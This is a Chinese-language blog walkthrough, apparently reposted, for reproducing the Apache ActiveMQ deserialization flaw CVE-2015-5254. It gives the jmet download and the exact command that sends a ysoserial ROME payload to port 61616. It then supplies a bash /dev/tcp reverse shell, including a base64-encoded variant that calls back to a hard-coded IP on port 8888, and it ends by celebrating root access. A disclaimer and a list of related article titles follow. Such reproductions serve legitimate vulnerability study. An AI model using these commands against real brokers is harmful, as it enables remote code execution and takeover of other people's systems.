ActiveMQ反序列化漏洞(CVE-2015-5254)

1.漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

2.漏洞利用过程如下:

①构造可执行命令的序列化对象
②作为一个消息,发送到目标61616端口
③访问web管理页面,读取信息,触发漏洞

3.漏洞复现:
1.首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

2.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机的ip 61616


3.它会给你的ID,访问http://你的ip:8161:8161/admin/queues.jsp


4.利用方式也很简单,我们只要将命令换成反弹shell语句再利用就行了。不过在这里我们需要一些小技巧来绕过Java的机制。
bash -i >& /dev/tcp/***机IP/8888 0>&1 bese64编码
把编码放进去。
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
5.然后我们是使用同样的命令将payload发送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 靶机ip 61616

6.然后我们查看这条消息,触发命令执行,这时我们在***机上监听端口,即可得到shell。
7.这就成功进来了,root权限!

原文地址:https://blog.51cto.com/14259144/2420683

时间: 2024-10-08 14:13:56

ActiveMQ反序列化漏洞(CVE-2015-5254)的相关文章

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

文章仅仅学习使用,所有步骤均来自网络,博主无法鉴别判断用户使用本网站教程及软件的真实用途,敬请用户在本国法律所允许范围内使用,用户一旦因非法使用而违反国家相关的法律法规,所造成的一切不良后果由该用户独立承担,博主不负责也不承担任何直接间接或连带等法律责任. *文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. ActiveMQ反序列化漏洞,CVE-2015-5254 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会

漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)

基础知识 MQ(Message Queue):消息队列/消息中间件.消息服务将消息放在队列/主题中,在合适时候发给接收者.发送和接收是异步的(发送者和接收者的生命周期没有必然关系). 队列:消息存在队列中,发送和接收都是异步的 主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式 MQ解决的问题: 解耦:新模块接入时,代码改动最小 消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮 异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

weblogic打补丁修复JAVA反序列化漏洞      

之前一篇文章记录部署web代理修复漏洞通过部署web代理来修复JAVA反序列化漏洞,这篇通过打补丁来修复这个漏洞.详见(Doc ID 2075927.1) 系统环境如下所示: OS:Oracle Linux Server release 6.1 64bit Weblogic:10.3.6 具体操作如下步骤所示: 1.备份备份备份 2.一切操作安装补丁README来 2.1 更新PSU 2.2 打补丁 1.备份 做好备份工作,无论是否可以回退,保证有备份 2.上传PSU weblogic补丁上传,

WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁;10.3.6以下的版本需要升级至10.3.6 然后在补丁升级. 一.查看版本 1.用下面命令重配环境变量D:\Oracle\Middleware\wlserver_10.3\server\binsetWLSEnv.cmd 1.1.查看weblogic version D:\Oracle\Middleware\uti

CVE-2017-12149JBoss 反序列化漏洞利用

CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码.漏洞危害程度为高危(High). 影响范围 漏洞影响5.x和6.x版本的JBOSSAS. 漏洞原理 JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器. JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用. Java序列化:把Java

(单例设计模式之一)饿汉式的反射与反序列化漏洞

1.闲话少说,直接上代码. import java.io.Serializable;//饿汉式public class Singleton01 implements Serializable{    //1.私有的属性    private static Singleton01 instance=new Singleton01();    //2.私有的构造器    private Singleton01(){}    //3.共有的get()方法    public static  Singl

php反序列化漏洞绕过魔术方法 __wakeup

0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() 1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello"